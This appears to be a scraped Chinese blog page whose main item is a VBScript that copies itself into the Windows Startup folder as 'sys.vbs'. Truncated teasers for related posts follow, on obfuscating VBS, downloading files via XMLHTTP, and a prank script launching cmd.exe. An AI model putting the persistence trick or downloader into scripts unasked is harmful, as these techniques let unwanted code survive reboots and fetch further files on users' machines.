vbs复制自身到启动文件夹

news/2024/11/24 8:35:55/

dim fso
set fso=CreateObject("scripting.FileSystemObject")
set Wsh = WScript.CreateObject("WScript.Shell") 
pathname = Wsh.SpecialFolders("startup")+"\"
'获取启动文件夹
fso.GetFile(WScript.ScriptFullName).Copy(pathname&"sys.vbs")

http://www.ppmy.cn/news/740607.html

VBS的加密跟解密

VBS加密: 复制以下代码，用记事本另存为，“VBS加密” 保存。 set fsocreateobject("scripting.filesystemobject") scfinputbox("请输入要加密的脚本文件名","VBS加密程序","*.vbs") set opfso.opentextfile(sc…

VBS下载文件

把以下代码存成.VBS，然后在命令行里调用。参数为：网址本地文件 dim url dim file Set objArgs WScript.Arguments if objArgs.Count < 2 then msgbox("Invalid param count! should be: url pathfilename") Else url objAr…

整人的vbs文件

桌面创建一个text文件 msgbox("你是sb么")xmsgbox("你是sb么",VbOkCancel) if xVbOk then msgbox("你很机智") elseif xVbCancel then msgbox("再见") set ws createobject("wscript.shell") ws.run"cmd.exe /c …

说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码： iLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wscript.Arguments(0))Set xPost=createObject("Microsoft.XMLHTTP")xPost.Open "GET",iRemote,0xPost.Send()set sGet=creat…

vbs查找文件中的内容

把文本文件处理为数组，每行为一个数组元素，然后在每个元素中查找关键词，vbs可以直接使用instr函数来查找，也可以使用正则表达式查找。找到后把那个数组元素复制出来就可以了。第一种，使用instr 这种方式好像对文件格式…

VB6下如何获得硬盘序列号

硬盘序列号获得可以通过WMI获取，但是实际上在win7以上没问题，在winxp下就没法使用。因此可以通过API编程来实现读取硬盘序列号，以下程序来源于网络，在winxp下可以正确获得，但在win7和win10下均无法获取： …

VB6的文件操作

总结一下VB6的文件操作，省得要用的时候又到处查找。一、文件类型 1、顺序文件（文本文件）：以ASCII码形式存放的文件。似乎还有Unicode码存放的，有没有BCD码的呢？ 2、随机访问文件：这种文件格式很有特点：文件中存放若干条等长的单元（也可以说是记录）；每个单元包含…

创建vbs格式

先新建一个文本文档： 可以开始打代码了我打的： 重要： 点击另存为，选择所有文件，给文件名后跟一个“.vbs” 效果： 求评论求关注！！

vbs复制自身到启动文件夹

相关文章